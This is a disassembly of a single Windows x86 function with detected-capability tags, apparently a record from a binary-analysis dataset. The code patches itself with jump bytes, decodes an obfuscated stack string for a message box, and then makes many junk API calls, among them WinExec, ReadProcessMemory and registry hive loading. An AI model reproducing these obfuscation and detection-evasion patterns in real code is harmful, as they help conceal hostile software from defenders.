Function at 0xaba000
Capabilities:
Compare security identifiers
Contain obfuscated stackstrings
Create process on windows
Delete directory
Enumerate gui resources
Get disk information
Get disk size
Get file size
Get file system object information
Get keyboard layout
Identify system language via api
Modify service
Read .ini file
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
mov dword [ebp - 0x10], 0xabaa72
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xaba036
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xaba1e2
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xaba0b8
call fcn.00497e42
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xaba07a
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xaba094
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xaba094
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xaba04a
mov byte [ebp - 0x74], 8
mov byte [ebp - 0x73], 0x71
mov byte [ebp - 0x72], 5
mov byte [ebp - 0x71], 0x6c
mov byte [ebp - 0x70], 6
mov byte [ebp - 0x6f], 0x73
mov byte [ebp - 0x6e], 4
mov byte [ebp - 0x6d], 0x7e
mov byte [ebp - 0x6c], 0
mov byte [ebp - 0x6b], 0x7b
mov byte [ebp - 0x6a], 3
mov byte [ebp - 0x69], 0x2b
mov byte [ebp - 0x68], 9
mov byte [ebp - 0x67], 0x76
mov byte [ebp - 0x66], 1
mov byte [ebp - 0x65], 0x84
mov byte [ebp - 0x64], 2
mov byte [ebp - 0x63], 0x7f
mov byte [ebp - 0x62], 0x16
mov byte [ebp - 0x61], 0x25
mov byte [ebp - 0x60], 0x90
mov byte [ebp - 0x5f], 8
mov byte [ebp - 0x5e], 0xe8
mov byte [ebp - 0x5d], 0x21
mov byte [ebp - 0x5c], 0xda
mov byte [ebp - 0x5b], 0xb2
mov byte [ebp - 0x5a], 0x96
mov byte [ebp - 0x59], 0x50
mov byte [ebp - 0x58], 0xdb
mov byte [ebp - 0x57], 0x40
mov byte [ebp - 0x56], 0x72
mov byte [ebp - 0x55], 0x6c
mov byte [ebp - 0x54], 0xb8
mov byte [ebp - 0x53], 0x5c
mov byte [ebp - 0x52], 0x4c
mov byte [ebp - 0x51], 0x95
mov byte [ebp - 0x50], 0x5d
mov byte [ebp - 0x4f], 0x4a
mov byte [ebp - 0x4e], 0x29
mov byte [ebp - 0x4d], 0x46
mov byte [ebp - 0x4c], 7
mov byte [ebp - 0x4b], 0x74
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xaba172
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x2a
jae 0xaba1d7
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x74]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xaba19e
mov dword [ebp - 0x24], 0x16
mov eax, dword [ebp - 8]
add eax, 0x14
mov dword [ebp - 8], eax
jmp 0xaba16a
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x73]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xaba1c6
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xaba1b3
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x74]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xaba16a
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xaaebca
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.0040775f
mov ecx, eax
call fcn.00402bd0
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x48]
call fcn.00402b74
and dword [ebp - 0x1c], 0
jmp 0xaba21a
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xaba22a
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xaba213
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_SysStringByteLen]
push 0x2437
push 0
push 0x22d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextA]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegUnLoadKeyW]
push 0
push 0x16f2
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectClipRgn]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
push 0
push 0x16a2
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32A]
push 0
push 0
push 0x1432
call dword [sym.imp.ADVAPI32.dll_CopySid]
push 0
push 0
push 0x26bd
push 0
push 0x1718
push 0
push 0x1d38
push 0
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push 0x1e20
push 0
call dword [sym.imp.USER32.dll_CharLowerBuffW]
push 0
call dword [sym.imp.USER32.dll_CharUpperW]
call dword [sym.imp.USER32.dll_GetCaretBlinkTime]
push 0x109c
push 0
call dword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
push 0
call dword [sym.imp.GDI32.dll_DeleteObject]
push 0
call dword [sym.imp.USER32.dll_RegisterWindowMessageW]
push 1
push 0x17eb
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
push 0xb04
push 0x21c9
push 0
push 0x1f17
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
push 0xeef
push 0x886
push 0
call dword [sym.imp.USER32.dll_OffsetRect]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetParent]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectObject]
push 0
push 0
push 0xca1
push 0
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push 0x1ef8
push 0xb22
push 0
call dword [sym.imp.USER32.dll_RemoveMenu]
push 0
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
push 1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ShowOwnedPopups]
push 0
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
push 0xde0
push 0
push 0
push 0x2f6
push 0
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
push 0
push 0x3c2
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push 0
push 0
push 0x652
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SaveDC]
push 0xf7b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RemovePropA]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RealizePalette]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegLoadKeyW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ReleaseDC]
push 0
push 1
push 0x1ed8
push 0
call dword [sym.imp.USER32.dll_GetMenuItemInfoW]
push 0
push 0xf56
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
push 0x90b
call dword [sym.imp.USER32.dll_GetSysColor]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgCtrlID]
push 0
push 0
push 0xc45
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_PostMessageW]
push 0
push 0
push 0x15f5
push 0x14ff
push 0
call dword [sym.imp.USER32.dll_ModifyMenuW]
push 0x16a9
push 0x11eb
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowLongA]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
push 0
push 0
push 0x1588
push 0
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRect]
call dword [sym.imp.USER32.dll_DestroyCaret]
push 0x9c9
push 0xcd9
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
push 0x1476
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
push 0xcfb
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MonitorFromWindow]
push 0x2028
push 0x2115
push 0
call dword [sym.imp.USER32.dll_CheckMenuItem]
push 0
push 0
call dword [sym.imp.USER32.dll_GetMonitorInfoW]
push 0x1c4b
push 0
push 0
push 0
push 0
push 0x20c1
push 0xc00
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ScrollWindowEx]
push 0x6c6
push 0xa76
push 0x13c5
call dword [sym.imp.KERNEL32.dll_HeapCreate]
push 0
call dword [sym.imp.GDI32.dll_CreatePalette]
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
push 0x1d8e
push 0
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
push 0x15b7
push 0x539
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDIBColorTable]
push 0
call dword [sym.imp.KERNEL32.dll_RtlCaptureContext]
push 0
push 0x1b45
push 0x1e03
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollPos]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowPlacement]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
push 0
push 0x17e7
push 0x2062
push 0
call dword [sym.imp.USER32.dll_InsertMenuW]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
call dword [sym.imp.USER32.dll_GetDoubleClickTime]
push 0
push 0
push 0x14ca
push 0x5da
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendDlgItemMessageA]
push 0x4e2
call dword [sym.imp.KERNEL32.dll_ExitThread]